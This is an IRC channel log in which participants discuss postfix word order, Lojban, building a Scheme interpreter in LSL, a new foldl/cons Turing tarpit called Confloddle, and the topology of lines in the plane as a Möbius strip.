02:21:46 -!- cal153 has quit.
02:22:15 <dev_squid> "The white dog barks at the frightened man", ignoring articles, becomes "man frightened dog white barks".
02:22:26 <dev_squid> The adjectives being unary operators.
02:26:22 <dev_squid> And the verbs being binary operators.
02:27:02 -!- cal153 has joined.
02:27:44 -!- GreaseMonkey has joined.
02:29:49 <dev_squid> Besides, poetic English tends to violate the grammatical laws of spoken English.
02:30:37 <dev_squid> But, yeah, "Bikes I ride" is an example of what I'm talking about.
02:32:13 <dev_squid> A postfix notation in which the operands of binary operators are reversed, effectively creating an object-subject-verb structure.
02:32:19 <pikhq> That doesn't violate the grammatical laws of English, it merely uses one that hasn't been common for a few centuries.
02:32:29 <dev_squid> It's archaic then.
02:32:33 <pikhq> Yes.
02:32:46 <pikhq> It still parses fine, though.
02:33:01 <dev_squid> I was considering making a language based on lambda calculus.
02:33:04 <Gregor> An example, give us.
02:33:29 <dev_squid> Or maybe combinatory logic.
02:33:36 -!- augur has joined.
02:34:56 <pikhq> dev_squid: Lojban, then?
02:35:27 <dev_squid> pikhq, I'm not entirely familiar with it, but I know it's hard to to parse mentally. :)
02:35:44 <dev_squid> What's it have to do with lambda calculus.
02:35:49 <dev_squid> ?
02:37:44 <pikhq> Lojban is based on predicate logic.
02:39:33 -!- MizardX has quit (Ping timeout: 240 seconds).
02:40:04 <nooga> Lojban if pretty much f#$&*d up
02:43:39 -!- comex has joined.
02:45:32 <uorygl> I'm pretty sure Lojban has practically nothing to do with lambda calculus.
02:45:48 <uorygl> If you can find a single lambda expression in it anywhere, let me know.
02:46:23 <Sgeo> Where's alise?
02:46:47 -!- comex has changed nick to Network.
02:47:17 -!- Network has changed nick to Guest83798.
02:47:48 -!- Guest83798 has changed nick to comex.
02:47:51 <uorygl> comex is attenuating.
02:47:55 <uorygl> Never mind.
02:48:03 <Quadrescence> Sgeo: I wrote a SCHEME program today
02:48:25 <Sgeo> How difficult would it be for me to make my own Scheme?
02:48:29 <uorygl> You know, as far as I can tell, Lojban is based on predicate logic to about the same extent that English is.
02:49:11 <Gregor> OOOOOH
02:49:11 <Gregor> BURN
02:49:18 <uorygl> English has verbs, which act as predicates; nouns, which act as arguments to them; and adjectives and adverbs, which modify those.
02:49:23 <Sgeo> Quadrescence, to do what?
02:49:33 <uorygl> Lojban has brivla, which act as predicates; brivla, which act as arguments to them; and brivla, which modify those.
02:49:46 <Quadrescence> Sgeo: It pretty prints MATH
02:49:50 <Quadrescence> in ASCII
02:50:26 <uorygl> I suddenly feel an urge to capitalize all languages and language-like things.
02:51:13 <myndzi> lojban, more like loljban
02:51:14 <myndzi> har har
02:51:46 <dev_squid> Hardy har har.
02:52:10 <dev_squid> If you think about it, though, language has a lot to do with mathematical notation.
02:52:23 <comex> that's because mathematical notation is based on language
02:52:24 <myndzi> well sure, it'd be more natural to express math in something familiar
02:52:28 <uorygl> There's a reason we write math the way we do.
02:53:30 <dev_squid> IMHO, English makes very little sense as a language, as compared to other languages with more uniform notation.
02:54:26 <dev_squid> Postfix/prefix notation in math or language makes more sense. It eliminates the need to declare precedence...although declaring precedence may be easier to read.
02:56:00 <Gregor> You don't need to declare precedence to have infix notation so long as you also have parenthesis.
02:56:51 <nooga> about scheme http://vimeo.com/4339116
02:59:57 -!- coppro has quit (Remote host closed the connection).
03:04:12 <uorygl> I think the human brain simply doesn't like parentheses.
03:04:22 <Quadrescence> Um, I love parentheses
03:04:27 <Quadrescence> for lispie lisp lisp
03:04:52 <uorygl> So when you're writing a long expression from beginning to end, do you intuitively know how many parentheses to put at the end?
03:05:32 <Quadrescence> Yes
03:05:42 <Quadrescence> Especially due to how I indent
03:05:58 <uorygl> Do you know how many to put at the end when you don't indent that way?
03:06:05 <uorygl> When you use no line breaks at all?
03:06:25 <Quadrescence> I might have a slight feeling, but not definite.
03:06:43 <uorygl> I (think ((the (human brain)) (simply (doesn't (like parentheses
03:06:59 <Quadrescence> I think the human brain doesn't like clusterfucks of anything
03:07:00 <uorygl> After writing that, I had no idea how many parentheses to put at the end. Six, maybe?
03:07:09 <uorygl> Also, I once had to go back and add a parenthesis.
03:08:47 <Gregor> Oh, the human brain likes /certain/ kinds of clusterfucks ...
03:09:15 <Quadrescence> Gregor: Well yes yes
03:09:18 <Quadrescence> yes of course
03:17:26 <Sgeo> Quadrescence, are there any particular standards for what an event framework in Scheme should look like?
03:17:46 <Quadrescence> no
03:18:32 * Sgeo was thinking, until just a few seconds ago, of having, say, evt-listen take a promise as an argument
03:18:41 <Sgeo> But taking in a function makes more sense, really
03:20:59 <Sgeo> Actually, I can have delay simply be a macro written in pure Scheme, right?
03:21:16 <Quadrescence> yes
03:26:07 <Sgeo> So, my implementation might provide, say, an lle-listen, used like:
03:26:47 <Sgeo> (lle-listen (lambda (chan name id msg) (ll-owner-say msg)))
03:27:13 <Sgeo> What sort of macro would make using lle-listen simpler?
03:27:40 <Sgeo> [Also, did I use lambda correctly?]
03:27:40 -!- zeotrope_ has joined.
03:28:12 <Quadrescence> you used lambda fine
03:28:39 <Quadrescence> And it's hard to say what would make it simpler
03:29:26 -!- jcp has joined.
03:29:39 <uorygl> Aiee, a lambda expression taking arguments that don't appear in the body.
03:29:46 <nooga> i'm a goddamn bat
03:29:55 <nooga> i work @ night and sleep @ day ;[
03:30:03 -!- zeotrope has quit (Ping timeout: 240 seconds).
03:30:05 <Sgeo> But lle-listen tells the implementation to call the function with four arguments
03:31:11 <Sgeo> Also, I'd have to convince users of a crappy C-like language to actually learn Scheme >.>
03:31:27 <Sgeo> And hope that my implementation isn't too pathetically slow
03:31:48 <uorygl> What are you implementing?
03:32:12 <Sgeo> Scheme, in the crappy language known as LSL
03:32:30 <Sgeo> Ah, interesting problem here;
03:32:31 <Sgeo> :
03:32:42 <Sgeo> LSL has builtin types that act somewhat like objects
03:33:00 <Sgeo> A "vector literal" is written as <0.0, 1.0, 2.0> for example
03:33:20 <Sgeo> And if assigned to a variable my_vec, I can use my_vec.x, my_vec.y, my_vec.z
03:33:37 <Sgeo> I need to allow use of vectors in LSL-Scheme, and not have them be confused with Scheme vectors
03:34:17 <Sgeo> Similar with rotations, but once the vector problem is solved, rotations are close enough
03:34:32 <Sgeo> There's also a thing called a key, but they're pretty much simple strings, so
03:37:57 -!- comex has changed nick to toast.
03:38:42 <Sgeo> I have no clue how I'd implement closures
03:39:14 <pikhq> Represent them as a function pointer and a closed-variable pointer, if possible.
03:39:29 <pikhq> If something vaguely similar isn't feasible, good luck.
03:39:32 <Sgeo> No such thing as function pointers in LSL
03:39:44 <Sgeo> For that matter, no such thing as pointers, perioud
03:39:47 <Sgeo> *period
03:39:48 <pikhq> So, you can't reference a function?
03:39:55 <Sgeo> Correct
03:40:11 <Sgeo> Well, statically, you can call them. llSetPayPrice() works
03:40:25 <pikhq> ...
03:40:27 <Sgeo> But you can't store a function name or address or anything like that in a variable
03:40:41 <Sgeo> And there are no multidimensional lists
03:40:44 <pikhq> Good luck.
03:41:20 <Sgeo> Maybe there's a simpler language than Scheme that I can try to implement
03:41:37 <pikhq> Uh. What you are going to do is pretend LSL is an assembly language.
03:42:07 <pikhq> You are going to be using a switch-statement-esque thing to implement functions, with a manual call stack.
03:42:25 <pikhq> And you will implement data structures by treating an array as memory.
03:42:50 <pikhq> And you will do manual garbage collection.
03:42:50 <pikhq> This would be a *royal fucking pain*.
03:43:45 <Sgeo> I may completely omit call/cc
03:44:15 <Sgeo> For what it's worth, LSL arrays are heterogeneous [in a statically typed language]
03:45:34 -!- pikhq has quit (Read error: Connection reset by peer).
03:59:40 <Sgeo> Can let be written in terms of let*?
04:04:52 -!- coppro has joined.
04:08:31 -!- augur has quit (Ping timeout: 265 seconds).
04:26:43 -!- augur has joined.
04:30:41 -!- Gracenotes has joined.
04:37:33 -!- dev_squid has quit (Ping timeout: 240 seconds).
04:46:47 -!- pikhq has joined.
05:07:10 -!- coppro has quit (Read error: Connection reset by peer).
05:11:28 -!- coppro has joined.
06:08:28 <Sgeo> <Sgeo> An interpreter for any language can be written in any TC language (as long as that TC language supports access to external resources that the language being interpreted uses). Is it possible to compile any language to any TC language?
06:08:28 <Sgeo> <Sgeo> o.O trivially yes. It can just be an interpreter + the source in the language
06:08:28 <Sgeo> <Sgeo> That shouldn't count.
06:08:28 <Sgeo> <Anonycat> maybe you should specify "in polynomial time"
06:15:17 <coppro> Sgeo: you mean to rewrite it?
06:15:40 <coppro> yeah, you can do interpreter + source
06:16:11 <coppro> more direct translations are possible, but, dependending on the similarity of the languages, it may be more or less the same thing
06:36:27 -!- adu has quit (Quit: adu).
07:08:13 -!- dev_squid has joined.
07:20:26 -!- dev_squid has quit (Ping timeout: 248 seconds).
07:24:51 -!- tombom has joined.
07:26:24 -!- dev_squid has joined.
07:32:10 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:51:34 -!- tombom has quit (Quit: Leaving).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:00 -!- coppro has quit (Remote host closed the connection).
08:20:26 -!- dev_squid has quit (Ping timeout: 246 seconds).
08:23:13 -!- kar8nga has joined.
08:38:58 -!- coppro has joined.
09:00:34 -!- zeotrope has joined.
09:01:56 -!- ais523 has joined.
09:02:37 <ais523> lovers of stupidly named Turing tarpits!
09:02:40 -!- zeotrope_ has quit (Ping timeout: 245 seconds).
09:02:45 <ais523> I think I created a new one, in my head, last night
09:16:14 <fizzie> Misread that as "lovers of stupidity named Turing tarpits"; thought that a strange name for a group of people who love the stupid.
09:18:49 -!- GreaseMonkey has quit (Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it).
09:20:00 -!- Asztal has joined.
09:26:19 <ais523> anyway, the new one's called Confloddle
09:28:10 <ais523> it's based around foldl and cons, which is amazingly enough to be TC by itself, I think
09:31:22 <Gracenotes> how could I live without you, bash -.-
09:32:20 <ais523> you could use zsh and tell it to emulate bash
09:33:14 <Gracenotes> I've ended up just executing bash in csh, the default shell of a FreeBSD server my school uses.
09:34:21 <Gracenotes> hum, confloddle has functions and pattern-matching?
09:34:32 <Gracenotes> or at least unconsing
09:34:52 <ais523> no, and no
09:34:55 <ais523> it's a tarpit
09:35:16 <Gracenotes> tarpits still need syntax for expressing things
09:35:21 <ais523> it has functions to the extent that C does, but only so that you can give foldl its argument
09:35:27 <ais523> you can't actually execute them
09:35:39 <Gracenotes> yeah, I get that
09:36:31 <ais523> anyway, syntax is reverse polish; : is cons, <> is foldl (with the function to fold on going inside the angle brackets; e represents the element, and r the return value from the previous element)
09:36:45 <Gracenotes> I'm trying to think of it in terms of lambda calculus, where a simplified foldl works on Church numerals nicely.. hm.
09:36:54 <ais523> and it always uses the null list as the initial argument
09:37:01 <ais523> well, initial r
09:37:03 <ais523> for the foldl
09:39:22 <ais523> from that, you can start building up a more standard set of primitives
09:39:48 <ais523> for instance, <r> maps any list to the null list, so you can use, say, e<r> to get a null list, which is how you get started in the first place
09:40:09 <ais523> <e> returns the last element of a list, and <er:> reverses a list, so you can get the first element of a list with <er:><e>
09:45:16 <Gracenotes> what do the lists contain again?
09:57:38 <ais523> other lists
09:57:42 <ais523> there's nothing else for them to contain
09:58:23 <ais523> but you don't get an infinite regress because the null list is legal
09:58:45 <ais523> finally, to make the lang actually TC, you make the whole program a <> foldl call, and run it on an infinitely long list of null lists
09:59:10 <ais523> which allows you to get one infinite loop, which is enough
10:02:33 -!- cal153 has quit (Ping timeout: 252 seconds).
10:11:18 -!- cal153 has joined.
11:58:01 <ais523> now all I need to do with this lang is spec it, implement it, and compile some TC lang to it
12:04:08 -!- kar8nga has quit (Remote host closed the connection).
12:34:03 -!- cheater has joined.
12:39:50 <cheater> hi
12:40:07 <cheater> is there a functional version of b****fuck?
12:44:05 <pikhq> Lazy K is the closest analogue.
12:47:46 <Gregor> I would hardly call Lazy K a functional version of Brainfuck, but I suppose it's an equally evil functional language :P
12:51:39 <pikhq> Gregor: It's the closest analogue, not "a functional Brainfuck". Because of course that makes no sense otherwise. :P
12:51:50 <Gregor> True.
12:57:51 <Quadrescence> Are there any small languages that are actually enjoyable/useful to code in? Please try to understand the nature of my question before you tell me "i like brainfuck, that's enjoyable to code in"
12:58:01 <Quadrescence> I am talking about languages that actually can get stuff done.
12:58:49 <Gregor> i like brainfuck, that's enjoyable to code in
13:21:13 <fizzie> I think Glass is a bit of a get-stuff-done language, and still enjoyable. It might not be quite what you were looking for, though.
13:21:36 <fizzie> There's a pleasant Forthish feel, though I guess that's just the stack.
13:28:18 <Sgeo> "Just look! I just find manual how to login gmail account without ANY
13:28:18 <Sgeo> username!"
13:41:34 -!- MizardX has joined.
13:47:01 -!- cheater2 has quit (Ping timeout: 264 seconds).
14:01:37 -!- oklopol has joined.
14:03:57 <oklopol> o
14:03:57 <oklopol> o
14:03:57 <oklopol> o
14:03:57 <oklopol> o
14:03:58 <oklopol> o
14:03:58 <oklopol> o
14:03:58 <oklopol> o
14:03:59 <oklopol> o
14:03:59 <oklopol> o
14:04:00 <oklopol> o
14:04:02 <oklopol> ^ MY o's
14:04:33 <ais523> okokokokokokokokokokokoko
14:04:41 <oklopol> okokokokokokokokokokokokokokokokokoko
14:05:07 <ais523> ok
14:05:22 <oklopol> being on just two courses is like being on vacation
14:05:36 <ais523> Quadrescence: befunge-93 is relatively small and useful
14:06:21 <Quadrescence> ais523: meh
14:10:30 <fizzie> It's a bit hard to get anything large-scale done in such an unstructured language, though.
14:10:45 <fizzie> At least in Glass you can LEVERAGE the PRODUCTIVITY of the object-oriented ENTERPRISE paradigm.
14:11:22 <ais523> Thutu is also capable of having useful programs written in it, as long as they're the right sort of useful programs
14:11:28 <ais523> it's TC, but much better at some things than others
14:11:34 <ais523> and you'd want to use a wimpmode for things like arithmetic
14:18:12 <Sgeo> Would using PSOX be considered such a wimpmode?
14:19:52 <ais523> it's of a different nature, so I'd say no
14:20:00 <ais523> it's not a wimpmode, but a wrapper
14:20:11 <ais523> wimpmode's when you change the syntax or semantics of a lang to make it slightly less awful
14:21:54 <Quadrescence> I wonder how small one can make a decent forth compiler in C
14:52:30 -!- oklopol has quit (Ping timeout: 276 seconds).
15:34:49 -!- augur has quit (Ping timeout: 260 seconds).
15:36:33 -!- jcp has joined.
15:42:25 -!- MigoMipo has joined.
15:50:24 -!- dev_squid has joined.
16:07:04 -!- fax has joined.
16:08:48 -!- toast has changed nick to comex.
16:13:42 -!- FireFly has joined.
16:23:53 -!- augur has joined.
16:29:58 -!- coppro has quit (Ping timeout: 256 seconds).
16:34:25 -!- BeholdMyGlory has joined.
16:53:25 -!- coppro has joined.
17:01:34 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
17:16:52 -!- tombom has joined.
17:25:47 -!- oerjan has joined.
17:46:33 -!- dev_squid has quit (Quit: Leaving).
17:49:11 -!- cheater2 has joined.
18:07:56 <pikhq> Quadrescence: Brainfuck is actually quite useful, so long as you don't care about file descriptors other than 0 and 1. ;)
18:08:23 <Quadrescence> Yeah sure it is.
18:08:49 <lament> Quadrescence: have you looked at io?
18:08:56 <Quadrescence> yes
18:09:07 <Quadrescence> I don't remember much from when I looked though
18:09:18 <lament> i don't know if it's enjoyable or if it gets stuff done
18:09:25 <lament> but it's definitely pretty small
18:09:52 <lament> so are forth and factor and scheme i guess
18:10:10 <lament> like r5rs scheme is actually small
18:10:23 <Quadrescence> factor is just growing and bloating
18:10:31 <Quadrescence> forth is small, scheme is small
18:11:04 <oerjan> factor should be renamed product then
18:19:06 -!- sshc has quit (Ping timeout: 248 seconds).
18:19:20 -!- tuffm has joined.
18:19:38 -!- tuffm has left (?).
18:19:51 -!- tuffm has joined.
18:20:04 -!- tuffm has left (?).
18:20:14 -!- ais523 has quit (Remote host closed the connection).
18:30:00 -!- sshc has joined.
18:40:48 -!- sshc_ has joined.
18:45:10 -!- sshc has quit (Ping timeout: 264 seconds).
19:01:19 -!- sshc_ has changed nick to sshc.
19:05:58 <uorygl> Topology: Proving your childhood dreams impossible since 1736.
19:06:30 <oerjan> what did topology do to you now
19:06:34 <uorygl> Well...
19:06:51 <lament> once a great topologist solved a famous problem by jumping off a bridge
19:06:51 <AnMaster> what was that dream?
19:07:16 <oerjan> lament: i _think_ you may have misremembered that story a tiny bit
19:07:32 <uorygl> One of my childhood dreams was to come up with a formula that could uniquely represent every line using a pair of real numbers, continuously.
19:07:59 <uorygl> Unfortunately, the topological space of lines is not equivalent to the topological space of points, so my dream is impossible.
19:08:00 <lament> one of my childhood dreams was to own a tank.
19:08:03 <AnMaster> uorygl, weird childhood dreams
19:08:37 <oerjan> hm are they even the same dimension
19:08:42 <uorygl> Yes.
19:08:50 <uorygl> The topological space of lines is the punctured real projective plane.
19:09:03 <AnMaster> uorygl, and you need more than a pair to identify a line in anything more advanced than "normal" 2D spaces
19:09:16 <oerjan> hm right most lines are defined by where they intersect the x and y axis
19:09:21 <AnMaster> you need a 3-tuple for 3D for example
19:09:38 <AnMaster> and well weird topological spaces, I have nfc?
19:09:44 <uorygl> The insight I had is that a line can usually be defined by its closest point to the origin.
19:09:51 <AnMaster> s/\?/./;s/,/?/;
19:09:53 <oerjan> i'm sure a 3-tuple is too little for 3D
19:09:53 <uorygl> All lines can, except for lines passing through the origin.
19:10:04 <AnMaster> oerjan, two of them I mean
19:10:17 <AnMaster> oerjan, I was talking about data type for the two "things"
19:10:22 <AnMaster> he said two pairs
19:10:33 <uorygl> Flip this space inside-out; the horizon becomes a missing point, and the origin becomes the horizon.
19:10:40 <AnMaster> so I pointed out you need something like two 3-tuples for 3D
19:10:50 <AnMaster> and a 3-tuple is not a pair
19:11:06 <uorygl> I did mean lines in 2D Euclidean space.
19:11:32 <oerjan> AnMaster: no he said two real numbers
19:11:39 <AnMaster> uorygl, well, given two points they represent exactly one line in 2D Euclidean space
19:11:50 <oerjan> AnMaster: that is not unique
19:11:56 <AnMaster> oerjan, oh I read it as "two pairs"
19:12:08 <AnMaster> oerjan, if you mean that there is more than one way to represent the same line: true
19:12:39 <oerjan> AnMaster: and two real numbers work for almost every line, but you cannot make it work uniquely and continuously
19:12:47 <oerjan> (homeomorphically)
19:12:48 <AnMaster> anyway, you could use y=kx+m as long as the line in question is not vertical
19:13:13 <AnMaster> in which case you could use x=m
19:13:17 <uorygl> Yeah, there are lots of sets of lines that you can do this for.
19:13:25 <uorygl> You just can't do it for all of them.
19:13:26 <oerjan> AnMaster: yeah that's one option. no matter what you do you'll either leave out something or duplicate something
19:13:50 <AnMaster> oerjan, so provide two variants, one for almost all, and then a variant for the one you can't cover
19:14:05 <oerjan> AnMaster: but that doesn't become continuous
19:14:07 <AnMaster> to tell the truth, I fail to see the issue with having to use two different variants
19:15:00 <uorygl> There's no "issue" with it. It's just that the problem I posed is to do it continuously.
19:15:02 <AnMaster> oerjan, what exactly do you mean with continuous here? The functions in question are each continuous (well, I'm not sure about x=m, but I can't see why it shouldn't be, since here you have x as a function of y...)
19:15:12 <AnMaster> so it must mean something else
19:15:52 <uorygl> Intuitively, if you're representing lines as pairs of real numbers, "continuous" means that as you move the line around in a continuous manner, the real numbers change in a continuous manner, and vice versa.
19:16:00 <AnMaster> ah
19:16:10 <AnMaster> well okay, what about using point + vector then?
19:16:20 <AnMaster> and putting some restrictions on where you can place the point
19:16:50 <uorygl> Try it; there's no way you'll get it down to two points, give a unique representation for every line, and be continuous.
19:17:01 <AnMaster> such as "if it ever intersects with the y axis, that point should be the base point, otherwise the point where it intersects with the x axis should be used"
19:17:12 <AnMaster> oh wait
19:17:18 <AnMaster> use what I said, but then not a vector
19:17:26 <AnMaster> instead use the dx/dy value
19:17:53 <AnMaster> or just the angle compared to the x axis in radians
19:18:10 <AnMaster> hm, but then you need to tell if it is the x or the y axis that is the base, don't you?
19:18:15 <uorygl> Right.
19:18:16 <AnMaster> unless you can encode that in the angle
19:18:20 <AnMaster> which you can
19:18:33 <uorygl> The thing is though, you can't uniquely, continuously represent angles.
19:18:38 <AnMaster> if the angle is pi/2 then it passes the x axis
19:18:54 <AnMaster> uorygl, oh well I guess that either it isn't unique or it jumps, true
19:19:00 <uorygl> Right.
19:19:24 <AnMaster> uorygl, but what about dx/dy?
19:20:20 <uorygl> Well, how are you going to make that work for vertical lines?
19:20:36 <AnMaster> would you accept using R extended with infinity?
19:20:47 <uorygl> Nope; that's a different problem.
19:20:53 <AnMaster> hrrm
19:21:17 <AnMaster> uorygl, actually it is simple, for vertical line it reduces to a single number
19:21:37 <uorygl> Well, the problem says you have to give a pair of numbers.
19:22:14 <AnMaster> hrrm
19:22:34 <uorygl> Gee. I think the topological space of lines is a Mobius strip.
19:22:51 <oerjan> AnMaster: there are a million (understatement) ways of hacking around this. there is however no continuous, bijective mapping from R^2 to the space of lines in R^2.
19:23:56 <oerjan> (the inverse is automatically continuous so it would have to be a homeomorphism, see http://en.wikipedia.org/wiki/Invariance_of_domain)
19:23:59 <AnMaster> this is trivial if you only have positive x and y values
19:24:15 <AnMaster> and may have negative values in the pair
19:24:59 <uorygl> Technically, I never said that every pair of real numbers must represent a line, only vice versa.
19:25:08 <AnMaster> because then you can represent which axis it passes as a single number, + for y and - for x, and abs(that value) is where along said axis
19:25:09 <oerjan> ah.
19:25:29 <AnMaster> and you can select some suitable way to represent the direction
19:25:45 <AnMaster> oh wait, it wouldn't be continuous...
19:26:10 <AnMaster> <oerjan> AnMaster: there are a million (understatement) ways of hacking around this. there is however no continuous, bijective mapping from R^2 to the space of lines in R^2. <-- has this been proven?
19:26:13 <uorygl> Hmm. If you ignore all lines that don't pass through the firt quadrant, you can do it easily.
19:26:41 <oerjan> AnMaster: i assume uorygl discovered the theorem and that's what started it. i don't recall it myself.
19:26:53 <oerjan> *started this discussion.
19:27:00 <AnMaster> uorygl, well yes I gave an idea for it above, but not sure how to represent the direction of said line in a continuous way
19:27:26 <AnMaster> and, it would run into issues for lines crossing both x and y axis in said quadrant
19:27:38 <AnMaster> sure you could give one preference, but then it would jump
19:28:58 <uorygl> Okay, I think the topological space of lines can be represented more elegantly as a Mobius strip.
19:29:13 * AnMaster suspects this is possible with complex numbers btw
19:29:18 <AnMaster> but I'm not certain
19:29:30 <AnMaster> uorygl, how do you mean?
19:29:32 <uorygl> Topologically, a complex number is just a pair of real numbers.
19:30:10 <AnMaster> uorygl, well yes, but don't forget that you get 4 numbers that way
19:30:15 <uorygl> Right.
19:30:19 <uorygl> Well, your angle around the Mobius strip is the angle of the line; rotating the line by 180 degrees takes you all the way around the strip.
19:30:27 <AnMaster> wait, actually, a 3-tuple or a complex number and a real one might be enough
19:30:37 <uorygl> And then your distance above the Mobius strip's center line is your distance above the origin.
19:30:58 <uorygl> And you can s/above/to the right of/ as necessary.
19:31:21 <uorygl> And I think you'll agree that it's impossible to lie a Mobius strip flat.
19:31:23 <AnMaster> hm btw
19:31:45 <AnMaster> an infinitely long and infinitely wide Mobius strip sounds interesting
19:31:49 <uorygl> Actually proving that it's impossible to lie a Mobius strip flat is probably really difficult...
19:31:51 * oerjan cannot recall the technical name for the space of lines in R^2
19:32:09 <uorygl> AnMaster: what does it mean for a circle to be infinitely long?
19:32:23 <AnMaster> uorygl, well, I'm not a topologist, I don't know
19:32:27 <AnMaster> I leave it to them to work it out
19:32:52 <uorygl> Anyway, it doesn't need to be infinitely wide; the entire real line can be compressed continuously into an interval line (0,1).
19:33:02 <uorygl> Which is what the atan and tanh functions do.
19:33:14 <AnMaster> <uorygl> And I think you'll agree that it's impossible to lie a Mobius strip flat. <-- I disagree
19:33:23 <AnMaster> as you didn't give any surface
19:33:30 <AnMaster> it could lie flat on another Mobius strip
19:33:34 <AnMaster> with a suitable size
19:33:39 <uorygl> Mmkay, it's impossible to lie it flat on a plane.
19:34:00 <AnMaster> uorygl, well that is a completely different statement :P
19:34:47 <AnMaster> btw, I have to say I never, ever, used (sin|cos|tan)h
19:34:58 <uorygl> Wait, I don't think it's possible to lie one Mobius strip flat onto another.
19:35:02 <AnMaster> uorygl, oh?
19:35:07 * AnMaster gets some paper
19:35:33 <oerjan> uorygl: identity function
19:35:50 <uorygl> oerjan: it's impossible to place two physical objects in the same place.
19:35:57 <oerjan> oh wait hm
19:36:07 <uorygl> One strip would end up on one side, the other strip would end up on the other side.
19:36:12 <uorygl> But there's only one side, so that doesn't work.
19:36:14 <oerjan> yes you cannot do it in R^3
19:36:55 <AnMaster> uorygl, oh *physical* one?
19:37:17 <uorygl> Physical ones, yeah.
19:37:37 <AnMaster> well, then it could lie flat on some weird 4D surface probably
19:38:28 <AnMaster> or an object of suitable shape in 3D. though probably that object would need to be assembled around said Möbius strip
19:38:53 <oerjan> http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.55.9544
19:39:17 <oerjan> although it cannot be that which is the actual theorem of that paper... far too new
19:39:22 <AnMaster> uorygl, also I think Mobius is actually an incorrect name for it. Möbius seems to be what wikipedia uses, and also is what is used in Sweden for it
19:40:18 <uorygl> oerjan: the abstract sort of implies that that is indeed a new theorem.
19:40:29 <uorygl> Since it says that it has implications.
19:40:40 <oerjan> uorygl: but that is ridiculous
19:40:48 <oerjan> it's far too simple to be new
19:41:13 <oerjan> the implications could be new though
19:41:19 <uorygl> I'll go around asking my professors how long it's been known that the space of lines in R^2 is isomorphic to the Mobius strip. :P
19:41:44 <AnMaster> that isomorphy seems weird to me
19:42:13 <oerjan> i'm sure it's well-known. in fact i'm sure i've seen a name for that space but i cannot remember it
19:42:24 <uorygl> Yes, that space is called the Mobius strip.
19:42:25 * uorygl coughs.
19:42:36 * oerjan swats uorygl -----###
19:42:53 <oerjan> not just the topological space, silly
19:43:19 <uorygl> So, now I wonder about the space of planes in R^3.
19:43:55 <AnMaster> uorygl, well, a point and a normal vector to the plane works
19:44:07 <AnMaster> or a point and two vectors
19:44:17 <oerjan> uorygl: i'm sure those were just special cases of the notation i'm looking for :(
19:44:51 <uorygl> I guess the space of planes in R^3 forms a sort of analogue to the Mobius strip.
19:45:57 <uorygl> What do you call a topological space that looks locally like a product space?
19:46:20 <AnMaster> hm what about a Möbius strip but with one of the ends in the "join" rotated 180 degrees? No not in the direction where you get a "normal" circle of paper. I mean rotate with the overlapping ends laying flat on top of each other
19:46:51 <AnMaster> in one direction you get a trivial loop, but the other direction looks quite interesting
19:47:12 <uorygl> It sounds like you mean a two-twist Mobius strip.
19:47:24 <AnMaster> and if you rotate a full 360 degrees you get a two-twist one yeah
19:47:28 <AnMaster> hm
19:47:56 <AnMaster> wait...
19:47:59 <AnMaster> that can't be right
19:48:06 <oerjan> uorygl: fiber
19:48:15 <uorygl> Right, right, a fiber bundle.
19:48:41 <uorygl> A Mobius strip is a "fiber product" of a real projective line and a line segment.
19:48:51 <AnMaster> isn't something weird supposed to happen if you cut a Möbius strip along the middle iirc?
19:48:55 <uorygl> Likewise, this 3D Mobius strip would be a fiber product of the real projective plane and a line segment.
19:49:07 <AnMaster> I can't check since I can't locate any scissors atm
19:49:25 <oerjan> AnMaster: a two-twist mobius strip is topologically identical to a non-twisted one, it's just the embedding into 3D space which is different
19:49:33 <uorygl> If you do that, I think you get an ordinary, untwisted strip, except maybe entangled with itself in some strange way.
19:49:47 <uorygl> I mean, you get something topologically identical to an ordinary strip.
19:50:40 <AnMaster> uorygl, yes you get a single strip, with a few twists it seems
19:50:53 <AnMaster> hm
19:50:56 <AnMaster> it seems one sided
19:51:11 <AnMaster> at least my thumb following it passed both sides of the joined up point
19:51:18 <oerjan> uorygl: incidentally your space of planes in R^3 etc. is obviously some kind of fibre bundle in the same way - just take the plane and _translate_ it to origo to get a map onto something projective
19:51:28 <AnMaster> wait no
19:51:38 <AnMaster> I forgot there are now two joined up points
19:51:46 <oerjan> *origin
19:52:13 <uorygl> It's definitely two-sided.
19:53:05 <AnMaster> and if you cut this one one in half you seem to get two loops that are entangled with each other
19:53:25 <AnMaster> which seems fairly interesting
19:54:00 -!- cal153 has quit.
19:54:05 <AnMaster> anyone care to explain why these things happen
19:54:06 <AnMaster> ?
19:54:20 <AnMaster> in a way that doesn't require me to learn topology first
19:54:50 <uorygl> Imagine coloring the paper strip red and blue...
19:54:57 <AnMaster> sure
19:55:02 <AnMaster> the two sided one?
19:55:08 <uorygl> Any paper strip.
19:55:11 <uorygl> So that on each side, it's red on one half and blue on the other half, and the dividing line runs down the strip.
19:55:17 <AnMaster> ah
19:55:20 <AnMaster> hm
19:55:26 -!- sshc_ has joined.
19:55:27 <uorygl> And when you flip the paper strip over, the colors don't switch places.
19:55:43 <uorygl> So no matter how you twist this strip of paper before joining it, the colors match.
19:55:59 <uorygl> And then if you cut down the dividing line, you always end up with something that's red on one side and blue on the other.
19:56:02 <AnMaster> uorygl, oh, is that physically possible?
19:56:31 <uorygl> Physically possible to color it that way?
19:56:38 <AnMaster> yeah
19:56:51 <uorygl> Sure, as long as the colors go on top of the paper, not in it.
19:56:56 <uorygl> Use paint, not dye.
19:57:01 <AnMaster> I would assume not wrt. that "<uorygl> So no matter how you twist this strip of paper before joining it, the colors match."
19:57:17 <AnMaster> because if you twist it half a turn that won't work would it?
19:57:28 <oerjan> ah
19:57:31 <uorygl> They still match if you twist it 180 degrees.
19:57:43 <oerjan> AnMaster: the paper is differently colored on each side
19:58:05 <uorygl> I'm tempted to make such a strip of paper and then make a video.
19:58:14 <AnMaster> oh yeah true
19:58:16 <AnMaster> it does work
19:58:30 -!- sshc has quit (Ping timeout: 245 seconds).
19:58:34 <oerjan> AnMaster: i was confused like you for a moment there
19:58:40 <AnMaster> well, how do we go on from there
19:58:47 <AnMaster> to the original question I asked
19:59:01 <AnMaster> oerjan, heh
19:59:28 <oerjan> well now what happens when you cut that strip along the dividing line?
20:00:13 <oerjan> now you suddenly have a strip with consistent coloring on each side - so it must be a two-sided strip
